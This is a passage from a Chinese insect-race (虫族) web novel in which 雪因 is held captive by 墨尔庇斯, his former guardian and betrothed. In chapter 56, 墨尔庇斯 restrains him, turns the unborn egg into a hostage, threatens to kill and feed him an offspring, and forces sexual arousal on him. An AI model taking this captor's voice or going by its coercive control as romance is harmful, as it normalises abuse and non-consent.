“你没有能力反抗,于是说服自己安于现状。十年前,你不敢打听抚育虫的下落,是不是怕听到不愿面对的消息?不问就等于他很安全。十年后,你被囚禁王爵府,因为懦弱无用的感情牵制着你,害怕我伤害到你的爱虫,甚至不敢向外界求救。你的爱给了你什么?只不过让你任由施暴者羞辱。” “你现在说,你不恨了?” “不恨…还是不敢恨?”墨尔庇斯嗤笑。 怎么可以不恨?! 怎么可以一笔勾销?! 怎么可以原谅一切?!! 墨尔庇斯凝视着双眼通红颤抖不已的小雄子,唇角勾起扭曲的弧度。 “……” “……” 良久,雪因却反笑起来: “是你在害怕吧?” “你得不到过真挚的情感,所以你习惯把人弄成崩溃绝望的模样,才是你擅长掌握的,让你有安全感。故意说这些话,是你觉得我失控了?你沉溺于自己构建的、以绝对掌控为秩序的世界,所以迫不及待地要把我继续塑造成你熟悉且能掌控的模样。” “可惜我长大了,” “不再会永远活在你的掌控之下。” 雪因停下脚步,感受到墨尔庇斯周身骤然爆发的杀气,压着他喉间让他喘不过气甚至开始感到窒息,但雪因知道,他猜中了。 他直视着那双暗流汹涌的眼睛,一字一句道: “是你在害怕一切脱离掌控,因为你比谁都清楚——" “真正被困住的,从来都不是我。”—— 作者有话说:雪因:你虫脆是个混蛋! 第56章 难逃 雪因赌墨尔庇斯不会恼羞成怒对诺伊斯下手。 那才真正坐实了他的推测,证明墨尔庇斯正是因被说中了痛处而失控。他赌这只高傲的雌虫,在心思被彻底戳穿后,反而会为了证明自己那套“掠夺哲学”的正确性,为了证明他并非出于“害怕”,而保住诺伊斯和虫崽的命。 雪因紧紧盯着墨尔庇斯,不放过对方脸上任何一丝细微的变化。 墨尔庇斯眼神越来越暗,空气像是变得粘稠、窒息。雪因的心脏被无形的手攥紧,他不敢动,甚至连呼吸都放轻了,额角渗出细密的冷汗,沿着他漂亮的脸颊滑落,划过精致的下颌线,没入衣领。 倏忽间,墨尔庇斯动了。 雪因甚至没看清他是如何动作的,墨尔庇斯手猛地锁住他的衣领,强大的力道将他提离地面。 天旋地转。 后背重重砸在柔软的床垫上,雪因眩晕了一瞬,睁眼已被困在墨尔庇斯身下。 墨尔庇斯高大的身躯随之覆上,将他牢牢禁锢,一只手仍紧攥着他的衣领,力道之大,让雪因感到了缺氧的眩晕。 “你…!”雪因屈膝就想将他顶开,却在发力前硬生生停住——他猛地想起,紧贴着自己的墨尔庇斯坚实的小腹里,正孕育着一个脆弱的小生命。 对峙间的迟疑往往是致命的破绽。 “怎么停了?”墨尔庇斯低沉的声音在头顶响起,带着嘲弄刻意学着雪因微微喘息着,“不是要反抗吗?我的殿下?” 雪因咬紧下唇,手腕猛地被对方反扣住,以绝对控制的姿态锁在头顶。他被强行翻了过来,墨尔庇斯骑在他的后腰,将他牢牢钉在原地。 屈辱和愤怒瞬间淹没了理智。雪因想也没想,亮出尾钩直刺向身上的雌虫! 却被一只更快的手精准地抓住。 墨尔庇斯的手如同铁钳,死死攥住那最敏感危险的尾钩尖端。稍一用力,尖锐的疼痛立刻窜遍全身,不止是他,雪因甚至能感觉到属于墨尔庇斯手心的血被锋利的尾钩划破,深色的血液迅速渗出,滴滴答答落在雪因光/裸的背部上,灼人又诡异的滚烫。 更让他害怕的是墨尔庇斯抓着那染血的尾钩,将闪着寒光的尖端稳稳地对准了自己孕育着虫崽的腹部。 “来啊,”他俯下身,灼热的呼吸喷在雪因通红的耳廓,声音低沉充满蛊惑,“朝着这里用尽全力攻击啊。我的殿下。” “让我看看,你是更想杀了我,还是更在乎这个……你亲口承认的‘弟弟’?” “疯子!你这个疯子!”雪因扭过头,蔚蓝的眼眸里充满了难以置信的惊怒,尾钩在墨尔庇斯掌中微微颤抖,却再不敢前进半分,“拿你自己的虫崽当挡箭牌?!墨尔庇斯,你还有没有心!你要不要脸!” 雌虫闻言反而低笑出声,“现在倒记得这是我的虫崽不是你的了?” 指腹摩挲着尾钩敏感的尖端,语气讥诮,“装什么慈悲?以为你对我的虫崽示好,我就会对你的虫崽网开一面?我亲爱的殿下,这世上可没有这般天真的交易。” “三个月,已经能活了。殿下要不我们猜猜,是雌虫还是雄虫?嗯?” 尾钩的尖端又没入半分,雪因浑身一颤,不由自主地想要收回,却被更用力地攥住。眼尾洇开一抹胭脂般的绯红,呼吸变得急促。 “你说你喜欢雌虫?”墨尔庇斯的声音陡然转冷,“你怎么敢喜欢雌虫?告诉我,你想喜欢什么样的雌虫?” 他的指节用力,却在触及雪因吃痛的神情时稍稍松了力道。 “…算了。”他的语气忽然软化,“雌虫也好,至少…我不在的时候,能保护你。” “若是雌虫就留他一命。”墨尔庇斯贴得更近,唇瓣几乎擦过雪因的耳廓,“如果是雄虫…就杀了,喂你吃下去,怎样?这段时间我可爱的小雪因喂他都累坏了…” 他的语气温柔,像在哄慰幼崽:“是该好好补一补了,对不对?” “不…不要这样…”雪因声音支离破碎,泪水忍不住大颗大颗掉落,太超过了,不应该是这样,雌虫不应该是这样。“我不想…你不要这样…” “放心,”墨尔庇斯根本不在乎雪因说什么,自顾自紧紧搂住怀中颤抖的身躯,甚至做了一直想做的事,脸颊亲昵地蹭着雪因柔软的雪发,“雌父有你一个雄虫崽就够了。我不会让任何雄虫…取代你,胜过你。” “雌父会让你永远都是帝国最尊贵的雄虫。”他在雪因耳边落下最后一个轻吻,收紧手臂紧紧拥抱在一起,仿佛要将雪因揉碎,再重新塑造成独属于他的模样。 雪因害怕极了。 他能清晰地感受到那墨尔庇斯尖利的牙就悬在自己的动脉上,尾钩还被对方死死攥在手里,温热的鲜血顺着交握处蜿蜒流下,一滴一滴砸在他的背脊,他分不清这血是墨尔庇斯的,还是…已经伤害到虫崽了。 他根本不敢动,完全无法理解墨尔庇斯为什么突然陷入疯狂。什么雌父虫崽的疯言疯语让他恐惧不已,只觉得再这样下去自己就要先崩溃了,精神濒临崩溃颤抖不已。 “怎么不说话了?方才剖析我时的勇气去哪了?我的雪因…”墨尔庇斯刻意拉长尾音,带着缠绵的恶意,“继续说啊。” “我厉害的小殿下长大了,”他的指尖轻柔地抚过雪因颤抖的唇瓣,声音里带着令人心寒的温柔,“想要被爱,想要自由,想要温暖…”指腹缓缓摩挲着那柔软的唇线,“就是不想要我了,是不是?” “我坏,我折磨你,我杀了你的抚育虫,让你和你的虫崽分离…” “连恨都不想恨我,也不怨了。” 墨尔庇斯低笑一声,“真好啊,什么都能原谅呢。我家雪因可真是个善良的小天使,难怪引得帝国无数雌虫为你痴狂…”他的手指突然收紧,掐住了雪因的下颌,“可真好。” 雪因不知道,也无法理解,只感觉到蛋的气息变得不对劲,墨尔庇斯精神海也变得一片漆黑,厚重的常年累积在墨尔庇斯体内的污染溢出。 雪因也快疯了,胡乱答应着。 “恨的、我恨的。”声音越发支离破碎,泪水不断从紧闭的眼角滑落,“都是我的错,我不该违逆你…你是对的。是我错了,我…我不知道你到底要我认什么错,但你说,我都认…” 一股微弱精神力瑟瑟发抖地缠绕上雪因的信息素,传来痛楚与恐惧,告诉雪因他真的受伤了,委屈地向雪因求救。雪因瞬间知道墨尔庇斯这个疯子他是真的用尾钩刺进去了。 巨大的恐惧瞬间攫住了雪因的心脏。泪水夺眶而出,他几近崩溃,再也无法维持任何伪装。他不能!不能接受这个他亲手养大陪了他三个月的虫崽就这么莫名其妙夭折在这里。 “我错了…我真的知道错了…”他语无伦次地哀求,“求求你放过他…他还那么小…都是我的错…” “可以,” “那就让我看看你的诚意。”墨尔庇斯指尖轻柔地抚过雪因颤抖的颈侧,“来,放出你的信息素…更多一些。” 雪因死死咬住下唇,将哽咽压回喉间。他不敢再挣扎,顺从地释放出更多信息素。 尖锐的刺痛传来,雪因能清晰地感受到自己的血液正在流失。极具侵略性的精神力蛮横地注入他的身体,如同最烈性的春/药,在他体内横冲直撞,搅碎他的理智,逼迫他的身体违背意志地产生反应。 被强制发/情的感觉如潮水般席卷而来,雪因的身体开始不受控制地颤抖、发烫,难堪的渴求从深处蔓延开来。他几乎要疯了,羞耻与快感交织,几乎要将他撕成两半。 “舒服么?被雌虫诱导发/情的感觉。雌父只是想让你快乐,让你…感到温暖。” 雪因紧紧闭着双眼,长睫被泪水浸湿,冷汗一滴滴滑落。狼狈地别过脸去,一句话也不敢说,生怕一开口就会泄出不成调的呜咽。 墨尔庇斯低笑一声,唇边沾染的血迹让他看起来妖异非常。他对小雄子表现出的顺从颇为满意,终于松开了钳制。 尾钩立即瑟缩着收了回去,再不敢造次。 而墨尔庇斯继续埋首,品尝着小雄子自愿献出饱含浓郁信息素的血液,比任何修复剂效果都好。怪不得都说雄虫才是雌虫一生的渴求,得不到的、长期以来压抑的,化作奖励一波波冲击着他的感官,快速修复着旧伤与饱受折磨的精神海。带来的剧烈痛楚,却令人战栗、愉悦酥爽不已。 随着血液的流失,虚弱感也开始蔓延,意外中和了一部分那霸道信息素带来的燥热,让雪因在情潮的翻涌中获得了一丝短暂的清明微微喘息。 墨尔庇斯松开了利齿,轻柔舔舐着渗血的伤,感受着身下雄虫细微的颤抖。如最耐心的猎手,欣赏着猎物在陷阱中挣扎的全过程。 他低下头,一字一句地说道: “宝贝,我再教你一件事——” “在没有足够的力量之前,不要轻易挑衅你无法承受的敌人。” “你的善良,你的顾忌,你那些可爱的软肋…” “在我这里,都只是更好掌控你的工具。” 他轻轻扳过雪因的脸,迫使那双盈满水光的蓝眸与自己对望:“现在,感受到我们之间的差距了吗,我的殿下?我亲爱的雪因?” 雪因在他的注视下轻轻颤抖,像一只被雨水打湿的蝶,双眼无神只顺从点头。 第57章 冬天会过去么? …… 冬天会过去么? 雪因望着窗外一成不变的景色,目光茫然。风卷着枯叶在天上飘啊飘,起起落落,随风来,随风去,从枝头飘零至尘土,化作养分,一代又一代,周而复始茫然地延续着生命。 他和墨尔庇斯似乎又回到了最初的相处模式,只是每天固定时间见面、投喂。除此之外,无言。 至亲至密,至疏至离。 墨尔庇斯不再看他。雪因投喂时视线落在虫蛋上,而墨尔庇斯只望着虚空。似乎那夜的激烈争执从未发生,被两位主人心照不宣地拉上一层纱,便能虚虚掩盖住底下涌动的暗流。不问,便是不存在;不说,便没有矛盾。 窗外的景色凝滞不变,时间却不等人,在压抑中慢慢爬过几星期。 雪因缓缓坐起身,银白的长发凌乱地铺散在身侧,明亮的蓝眸蒙上了一层郁色。四周散落着无数信笺,再厚重浓烈的情感,也只能被压缩成只言片语。 只能从这些被主人反复摩挲,开始充满揉痕的零碎中,汲取到支撑。 还能出去么? 诺伊斯原谅他了吗?如果那时能见到诺伊斯和崽崽多说几句话,多抱住他,没有冲动该多好。诺伊斯会不会对他很失望?虫崽会不会觉得他这个雄父很没用?虫崽快要破壳了,诺伊斯为他准备好一切了吗? 雪因准备了。 出不去的日子,一遍遍在王爵府上下细细搜罗着珍贵的物件,适合虫崽的,从破壳到成年,一件又件刻上他为虫崽设计出的徽章图案。从每天回到房间,便开始拿出给虫崽准备好的物件,用尾钩细心一浅一重将族徽刻在上边。 他轻轻摩挲着刻痕,眼中不自觉荡起一片温柔。他给虫崽设计的族徽图案不似他那种高贵却脆弱的蝴蝶,是利刃,是破开‘规则’的剑。如果…如果可以,他想让虫崽自由。 他甚至不敢明目张胆地准备,只能将徽章刻在不起眼的角落,生怕被墨尔庇斯发现,又招来惩罚。 雪因不怕墨尔庇斯对自己做什么,但那个疯子是真的会下狠手。那天墨尔庇斯抓着他的尾钩刺入自己的腹部,差点将蛋戳破壳,蛋中的虫崽因此昏迷了一周。连自己的亲生虫崽都能下手… 焦虑,无力。 雪因扭头看向窗外,唇色微微发白,一向含水的眼眸失去了神采,精致的脸上露出疲色。 还能出去么? 或许即便出去了,他也什么都做不到。他只是一只雄虫,永远需要雌虫的保护,就像老师、雌父、甚至墨尔庇斯反复强调的那样。可以虐待雌虫,可以折磨,可以视而不见,却永远无法真正与墨尔庇斯分离。 墨尔庇斯是这套规则下最极致的产物。他懂得如何处理恨,如何利用恨。“恨”能证明他的存在,如果雪因恨他,说明他的伤害是有效的,他依然在深刻地影响着雪因,是强烈的情感纽带。 而原谅则意味着脱离他的影响。意味着背叛。 甚至在墨尔庇斯看来,雪因提出退婚、对他发火、像其他雄虫一样鞭挞他都是正常的,唯独不能接受雪因不怨不恨。 他不懂得如何处理爱与宽恕,他不畏惧失去爱,却畏惧失去恨。 心里的疲倦比每一次生病更加晕眩,更加猛烈。好似过去所以伤害都能熬过去,但这一次… 好累。 好累。 好累。 他什么都做不到。身边的侍虫越来越少,到现在只剩下他和墨尔庇斯,大部分工作都被机械虫取代。没有虫和他说话,他也没什么想说的。唯一能对话的墨尔庇斯,他宁愿疯了都不想再与他对话。 或许和墨尔庇斯待久了,真的会被同化至崩溃疯狂。他想他该逃出去。 又或许,他就算逃出去了,也依旧什么都做不到。 雪因无力地向后仰倒在椅背上闭目。半响,随手从散落的信笺中抓起一封,再次细细阅读,试图汲取力量。 除了诺伊斯的消息,兰斯还在信中零散地提及了外界的动荡。 星渊暴动,数千颗星球被污染的星兽吞噬殆尽,伤亡惨重,无论是否属于虫族疆域,都未能幸免。 星际议会频繁召开紧急会议,联盟、以及盘踞在星际深处的古老种族,以窥星王族为首的势力也蠢蠢欲动,频频派遣使者与虫族交涉。就连兰斯的雌父也已奔赴前线。据说帝国正在考虑派遣雄虫作为雌虫备战的后备抚慰员。 第二军团长战死。 曾经与墨尔庇斯在政坛上分庭抗礼的政敌,忽的说没了就没了,像是一场梦,又或者生命本来就是这样,无比坚韧又无比脆弱。 第三军团长目前常驻星渊外侧,构筑防线以防星兽再次涌出。 边境的虫族民众纷纷跪求祈祷请愿,祈求墨尔庇斯军团长能够重返战场。 …… 而在内,莫利亚斯老师失踪了。第四军团长金利斯被指控叛国,由墨尔庇斯亲自逮捕,本应押送至监狱星,却在途中越狱失联。议会高层人事频繁变动。 兰斯没有明说,但雪因猜测他的雄父病情加重了。最近几周的信中,兰斯不再提及外界雄虫的动向,只隐约提到数位高阶雄虫出现异常状况。 如今帝国仅剩墨尔庇斯这位第一军团长坐镇… 雪因迷茫地眨着眼睛,若隐若现的线索仿佛突然串联成线。 他猛地坐直身子。 星渊大战一触即发,就连雪因都清楚污染的可怕。而这次的情况显然非同寻常,各族联合难道是为了…深入星渊,彻底解决这个威胁? 不不不,这太疯狂了。星渊被外界称为永无回路之地,只能通过偶然出现的空间裂缝进入。传说那里蕴藏着宇宙最原始的能量,能够实现踏入者的一切愿望,但至今无人生还。 据说那些从星渊逃出的、失去人形却异常强大、浑身散发着污染的星兽——或者说怪物,都是许愿失败,欲望的产物。无法被彻底消灭,只会不断吞噬。不死不灭,永远活在痛苦之中。 但排除所有可能性后,似乎只剩下这一个答案。如果真的爆发战争,墨尔庇斯作为虫族最强的雌虫,不可能在这个关键时刻抛下前线军务,回来近半年之久。 …… 那么只有一个解释:是帝国命令墨尔庇斯回来的。大战在即,生死未卜…雌父和雄父甚至没有追问这个虫崽的来历,只是一再嘱咐雪因好好投喂。 雪因一开始怕他们伤害他‘弟弟’没有敢和雌父提,但他们居然也没有提起,现在想起来处处都是异常,他们明明知道,四十岁以下的雄虫本不该参与孵蛋,对于还在生长期的雄虫负担太大了,但这次居然没有反对。 无论这个虫崽的生父是谁,只要他的雌父是墨尔庇斯,就算雪因不愿意,也必须将他孵化出来。现在是墨尔庇斯扮演了这个恶人,如果没有他,也会有其他虫来阻止雪因,强迫他完成孵蛋的使命。 雪因的冷汗瞬间滴落。种种线索串联起来:最初墨尔庇斯不让他靠近,从怀蛋后却开始不安,是的,不安。向他索求信息素,情绪逐渐失控,连一开始维持的体面都开始破裂。 他明明可以用更温和的手法要求雪因留下,雪因甚至想起要求退婚时墨尔庇斯眼中闪过一丝诧异,或许,他早就在等一个理由,就算雪因不提退婚,也会找借口发难把他困在王爵府。 因为没有时间了。 是帝国命令墨尔庇斯这位虫族战神,在踏入九死一生的战场前,必须留下一个拥有3S级雌虫血脉的继承者。虫崽诞生之日,就是他出征之时。 …… 雪因咬紧牙关,寒意从骨髓深处蔓延开来。就连紧紧裹住的被子也无法带来丝毫暖意。墨尔庇斯作为规则的拥护者,自然理所当然的认为‘牺牲’是正确的。连他自己都认同自己只是‘规则’下的一个消耗品。 好可怕。 失去了也没关系,再创造一个新的就好。 雪因是,墨尔庇斯同样是,没人能逃得出‘规则’。 雪因从床沿一跃而下,想要立刻找到墨尔庇斯对质。不该是这样的,一定还有更好的解决办法。 手触碰到冰凉的门锁上,又停住。他能做什么?他甚至无法踏出王爵府半步。 门却从外面被打开了。雪因抬头望去。 来的是塞西尔,他大哥现任的雄主。 “雪因。”塞西尔往日阴郁不再,脸上洋溢出幸福,腼腆地笑了笑,“听说你在孵蛋,我你大哥让我来看看你,顺便教教你孵蛋的注意事项。” “……去花园吧。” 雪因轻声应下,与他并肩向外走去。无论如何,或许他的猜测是错的,至少能从塞西尔这里获取更多关于外界的消息。 “你怎么来了?”雪因真正想问的是,他是怎么进得来王爵府。据他所知整个府邸都被墨尔庇斯布下了数层结界,没有他的允许,外虫根本不可能进入。 “嗯?你大哥让我过来,我就来了。”塞西尔眨了眨眼,一脸天真无邪。 雪因:“……” “噢。” 漫步到花园,令雪因意外的是,花园里不再只有单调的蝴蝶,这次甚至多了一些巨树一座紫藤蔓长成的秋千,雪白的飞鸟时不时在花园树梢间跳跃,发出清脆鸣叫。 丝毫不知自己被囚禁的处境,在任何地方都能活得如此快活。或许真是雪因的问题,思虑过重的人,永远难以获得满足。 “大哥说你一只虫在府里一定无聊,让我多来陪陪你,我说你怎么可能是一个人啊,你身边多的是雌虫。他让我过来,他说他还是不放心怕墨尔庇斯…对你不好。我说怎么可能,军团长绝不可能虐待你。但他就是不信,莫名其妙的。这不今天路过,就把我打包丢进王爵府,本来还想带着诺厄一起来,走得匆忙都给忘了。” “对了,你的虫崽快四个月了吧?”塞西尔一边询问,一边眼睛亮晶晶地打量着花园。他好奇地伸手轻触面前的花苞,花苞突然喷出一团粉色孢子。塞西尔吓得后退一步,吸入孢子后却眼睛一亮,兴奋地凑上前深深呼吸。 “雪因你这里太厉害了!我雌君以前送过我一枝这种花,说是能恢复精神力。他费了好大劲才弄到一支,我一直对它念念不忘!你这里居然拿它做成了花墙,我刚还以为是假的呢。” 雪因顺着他视线望向那片早已看腻的普通花墙。 微风轻拂,淡紫色的花瓣从枝头零零散散地飘落,轻轻覆盖在雪因身上。他纤长的睫毛低垂,在眼下投下一片浅淡的阴影,蓝眸蒙上一层薄雾:“五个月了。” 他的虫崽已经五个月了。 而他离开自己的虫崽,已经四个月了—— 作者有话说:——以下无责任小剧场—— 军团长孵蛋实录 墨尔庇斯第一次见到雪因,是在一次再寻常不过的授勋典礼上。在无数虫族崇拜的注视中,这位刚刚从星兽口中拯救了四颗星球的军团长,收到了一枚勋章——以及一个盖着红布的托盘。他随手掀开红布,看了一眼,又立刻盖了回去。 想退货。 但热情的祝贺声已经响起。众虫纷纷表示,这是帝国赐予他的、本世纪最珍贵的雄子,即将成为他未来的雄主。虽然现在还只是一颗蛋,但——等级高啊!虽然看起来命悬一线,但——等级高啊!虽然看起来不太起眼,但——等级高啊! 在众目睽睽之下,他无法拒绝。何况雄虫协会正虎视眈眈,就等着他把这颗存活率仅0.001%的珍贵雄虫蛋养死,好借机问罪。 即使是颗99.999%活不下来的蛋,依旧是尊贵的顶级雄虫。 呵。墨尔庇斯面无表情地收下了这份“厚礼”。 孵蛋嘛,没什么特别的。雄虫需要精神力滋养,喂就是了。他随手找了个漂亮的碗,面不改色地恢复原型,尖利的节肢刺穿心脏闷哼一声接住心头血,用精神力在碗底燃起恒温火焰,把蛋往蕴含无比强大精神力雌虫心头血里一丢——开煮。 就这么泡了三天,蛋活了。 至少蛋壳上那些华丽的花纹变得鲜活了些,陌生气息被洗去,取而代之的是他熟悉的味道。 把蛋捞出来闻了闻,嗯,还多了一丝雄虫特有的甜香。 他没忍住。 是的,他没忍住。 反正蛋给他了就是他的。墨尔庇斯化作原型,将整颗蛋含进嘴里,仔仔细细舔了好几遍。果然又香又甜,就是把里面刚成型的幼崽吓得瑟瑟发抖。 接下来的两个月也没什么特别的。不过是出门时随手在柔软的腹腔划道口子,把蛋往里一塞——他等级高,用流动的鲜血灌溉最方便,还利于崽子发育。偶尔馋了,就化作原型把蛋压在舌底,细细品味那甜蜜的信息素。甚至能知道只需要轻轻一咬,雄虫甘美的信息素就会在口中迸发… 当然,只是想想。这点自制力他还是有的。 至于有没有真的不小心咽下去过…咳。掌握时间法则的墨尔庇斯,也就是立刻催吐过两次,时间逆转六次而已。差点把小崽子嗦散黄十二次。 至于小崽子的心理阴影面积?不好意思,还没破壳的蛋,没有虫权。 根本没人觉得墨尔庇斯真能将雪因养活,孵蛋期间甚至无人过问。 就这样,可怜的小崽子终于破壳了。那天他甚至忘了这颗蛋已经孵化成功,在万众瞩目下,习惯性地想把那只软绵绵的小雄虫抓回来塞回嘴里继续孵。 小崽子发出一声尖叫,噗嗤着奋力往外逃,也宣告了墨尔庇斯这段愉快又美味的孵蛋生涯,正式结束。 生活索然无味,雪因震撼美味。 —— 墨:你小时候我真是把你含在嘴里怕化了。 雪:) 第58章 虫蛋 “你说什么?”塞西尔轻嗅着花瓣,嘴角还噙着笑,回头望向雪因。 “……没什么。” 塞西尔的视线很快被花园中央的秋千吸引,眼睛顿时亮了起来。他犹豫片刻,低下头有些腼腆地开口:“我可以玩玩这个吗?雪因…弟弟。” 塞西尔作为大哥的现任雄主,叫雪因弟弟也合理。 雪因点头。 塞西尔眼睛瞬间亮起了,走到秋千面前却没有第一时间坐上去,伸手轻轻触碰缠绕在秋千架上的紫藤花,随着他的触碰,花瓣簌簌飘落细碎的星砂。 “哇~”塞西尔轻轻坐上去,像生怕把这看似脆弱的秋千弄坏,随着微风轻轻晃荡,风温柔地拂过他的长发,也轻轻吹动站在一旁雪因衣摆。 “等我回家,我也要让你哥哥给我装一个。”随着秋千晃动,塞西尔轻轻笑着,眼睛弯弯的,他双腿轻晃,秋千上清脆的铃铛随风响,淅淅零零,像是能撞碎一切忧愁。 或许在这才是雄虫本该的样子,只需要享受,而不是去思考,被困在‘未拥有’中。 “好厉害!雪因弟弟,你家秋千上挂的铃铛在外面的价值都抵得上一座低级星球了!不愧是维斯特冕家族啊!”塞西尔惊叹不已,指尖轻抚铃铛,“我家都要赚上一年才能买下一个呢。还有这个、这个这个…哇!!” “……”雪因配合笑笑,这段时间陪他说话的人太少,看到塞西尔一脸天真快乐,随着风铃传来笑声,心情莫名轻松了些,“你喜欢的话,待会带回去就好。” 反正维斯特冕家族从不缺星币。雪因从来没有算过自己有多少财产,只知随着时间的流逝,名下的财富越来越多。雄父隐约说过,雪因个人名下都拥有几十个星系。 “那不行,这是你的东西,我…”塞西尔顿了顿,脸颊染上一抹羞红,腼腆又坚定的开口,“你大哥会给我赚到的。” “我整天待在府里也挺无聊的,也只有周末能接诺厄回来陪我玩,今天能见到你,我好开心~我以后、以后也可以来找你玩么?” “嗯?”雪因有些困惑,“一直在家?不去议会开始工作吗?” 据他所知,帝国通常不会让S级雄虫像A级雄虫一样无所事事,至少需要了解政治动向,一般婚后就会逐步进入议会工作。 “我在诺厄破壳后就辞职啦。你大哥说,他会养我,我只需要在家享受就好。”塞西尔笑嘻嘻地说,脸上洋溢着幸福。 “……还是有工作比较好。” “没关系的啦,反正你大哥说他会养我一辈子。他说他最爱我了,家里三个雄虫,他最喜欢的就是我。” “……” “对了,你刚才说要教我孵蛋的注意事项。”雪因适时转移了话题。除了最初兰斯雌父简单教导过他,告诉他只要释放信息素,虫崽自然就会吸收之外,之后都是墨尔庇斯在‘教导’他。 而墨尔庇斯还说什么要控制剂量,不能把虫崽喂得太饱,害得之后几次饿坏了的小家伙每次投喂时都会伸出精神力触须,可怜巴巴地抱着他的信息素哭,委屈坏了。 还没等他安抚好虫崽,墨尔庇斯就把他赶走。 之后更是因为墨尔庇斯发疯,导致虫蛋昏迷整整一周。那段时间墨尔庇斯甚至禁止他投喂,让虫崽硬生生熬过这一劫,直到虚弱地恢复些许生机后,墨尔庇斯才让雪因再次投喂。 这可把雪因急坏了,但他不敢催,他害怕一旦让墨尔庇斯知道他在乎这个崽子,这个疯子就会再次伤害虫崽,只为了给他‘上课’。 “噢噢,对,注意事项。”塞西尔连忙点头,“对了,你的蛋是雌虫蛋还是雄虫蛋?” “不知道。”雪因有些茫然。蛋的性别不是要等到出生时才能确定吗? “你雌君没有告诉你么?” “不是雌君…没有。” “啊?不应该啊,难道他也不知道?”塞西尔明智地忽略了雪因的前半句话。毕竟雪因和墨尔庇斯的关系…他们这些亲近的家族都心知肚明,但别人的家事他很有分寸地不去评判。他只是挠了挠头,回应雪因的后半句:“我雌君大概在诺厄两个月大的时候,就告诉我是雄虫蛋了。” 他轻轻叹了口气:“但其实…我并不太喜欢雄虫蛋。我还想做家里唯一的雄子呢。”他顿了顿,自嘲地笑了笑,“不、不对,就算没有诺厄,你大哥也已经有克罗夫特这个嫡长雄子了。” 塞西尔故作凶狠地咬了咬牙,眼中却没有当初对克罗夫特的嫉恨,只剩下些许不甘的嗔怪:“我是家中的嫡次子雄子,我的诺厄,也只能是你大哥的嫡次雄子了。” “不过后来我也想通了,”他的语气柔软下来,“不管怎么说,克罗夫特毕竟是我亲哥哥唯一的雄子,也是我亲侄子。当初那样恨他,是我不对。我已经向他道过歉了,他……他说原谅我了。” “哎呀,说远了。”塞西尔不好意思地摆摆手,“一般来说,有经验的雌虫是能感知到蛋的性别的。所以可能墨尔庇斯自己也不清楚吧。” “那雌虫蛋和雄虫蛋在投喂上有什么区别吗?” 塞西尔闻言眨了眨眼,露出些许窘迫:“有、有的。但具体细节我记不太清了……” 他努力回忆着:“当时诺厄才一个多月,你大哥就告诉我他怀蛋了。说实话我那时并不开心,比你现在还小两个月呢,总觉得刚结婚没多久就要多个虫崽,怕你大哥眼里只有虫崽就不疼我了。” “但后来…毕竟是我的第一个虫崽啊。而且你大哥之前和我哥哥已经有过三个孩子了,我想,能有一个属于我和他的孩子也不错。” “一开始你大哥没让我喂太久,每天只让我试个三五分钟,剩下的交给雄虫协会有经验的年长雄虫。他们说我还小,别让虫崽影响了我的信息素成长上限。” “不过,让外边的雄虫来帮忙,终究不是长久之计。”塞西尔解释道,“虫蛋对非亲生雄父的信息素,天生就会有些排斥。严重的甚至会完全拒绝接受投喂。” 若有所思,他就说他明明没有那么弱,第一次投喂却差点晕了。 “还好我的诺厄很乖,一开始谁喂都肯接受。但即便如此,想要满足虫蛋的正常发育,非亲生雄父需要付出的信息素量往往是亲生雄父的好几倍。对于经验不足的同等级雄虫来说,很容易被抽干信息素。” “所以第二个月确认是雄虫蛋后,你大哥就完全交给我来喂。他说雄虫蛋通常很温顺,不会不顾一切地榨取雄父的信息素,对雄虫来说相对安全。” “…那墨尔庇斯的虫蛋,可能是雌虫蛋。”雪因默默记下。 “也不一定,”塞西尔立刻补充,“毕竟我只有诺厄这一个雄子,没有试过喂雌虫蛋。后来你大哥说,虫崽需要多少信息素就给多少,雄虫崽一般很懂事,需求不会超过雄父的上限。” “那雌虫蛋呢?” “听说雌虫崽反而会更乖巧。因为雌虫对雄父的仰慕是天生的,就算在蛋期也会下意识地保护雄父。只是相对活泼些,但很好养活。” 雪因轻轻点头,犹豫片刻后低声问道:“还有什么需要注意的吗?我是说……如果虫崽不太喜欢我……” 他有些忐忑。不管怎么说他都不是虫崽的亲生雄父,就像塞西尔说的那样,不是亲生的总是会排斥一些,后来又被墨尔庇斯严格控制信息素投喂,弄得虫蛋委屈不已。 不知道虫蛋破壳后会不会讨厌他。 他不想被讨厌。 “不会啊!虫崽天生就会亲近雄父的!!!” “……我是说,万一。” “没有什么万一,你别胡思乱想。”塞西尔连忙安慰,“我以前也担心诺厄和我不亲,那时候我对他还不太好… “但诺厄后来告诉我,他从来没有怪过我,说那段时间是我生病了。” “诺厄是个好虫崽。” “我倒希望他别这么懂事。我雄父说,雄虫就该有点脾气,有攻击性,去争、去抢。不能太容易原谅一切,不能太温和,不然很容易被雌虫欺负的。” “那虫崽…在发育过程中,是不是有一段时间不需要太多信息素?”雪因斟酌着问。 他还是怀疑墨尔庇斯骗他,怎么能一直让虫崽挨饿。 “当然不是!你大哥特意交代过!雄虫蛋必须时刻满足需求,甚至要加倍呵护!雄虫可是虫族最珍贵的宝贝,从怀上的那一刻起就不能受半点委屈!” 果然墨尔庇斯骗他。雪因的心猛地一沉。所以墨尔庇斯根本不是在教导虫崽知足,而是借虫崽来教训他。 毕竟对墨尔庇斯来说,虫崽由谁来喂养都一样。雪因从来都不是唯一的选择,只是想借机敲打他。 他不配做自己亲生虫崽的雄父,让他认清自己的位置。 墨尔庇斯不是在让虫崽学会知足,而是在让他学会认命。 “……嗯。” 雪因闷闷地应了一声,直到送塞西尔离开。他却离不开半步。只是和塞西尔推说有些乏了要先回去休息。 站在府内伫立良久,望着外面自由的道路,最终转身回到了牢笼。 他漫无目的地沿着围墙行走。忽的,一道火红身影从墙外重重摔了进来,狠狠撞在树上,随即摔倒在他面前。 一身可怕的、被虐待过的痕迹,身上露出的皮肤像是被烧红的锁链烙下焦黑刻骨的伤,脖颈上套着一个不断释放电流的带刺雌奴项圈,电光一闪,雌虫瞬间瘫倒在地,双手死死抓住不断收紧的项圈,身体痛苦地不断抽搐,蜷缩成一团血人。 雌虫,红发。 雪因脑子一片空白,下意识扑过去,“诺伊斯,你——” 第59章 高配版诺伊斯 雪因几乎是扑过去,大片大片刺目的血色染红了他的视野,让他有一瞬间的恍惚。甚至能透过雌虫残破不堪的染血衣物,看到带着灼烧效果的锁链正燃着幽蓝火焰,一圈圈穿刺在脊椎上,深深没入骨肉,自内而外将雌虫牢牢禁锢。 不、不对。 雪因本该像之前一样毫不犹豫放出鲜血挽救濒死的他,却在触碰到前一秒停住。 不对。 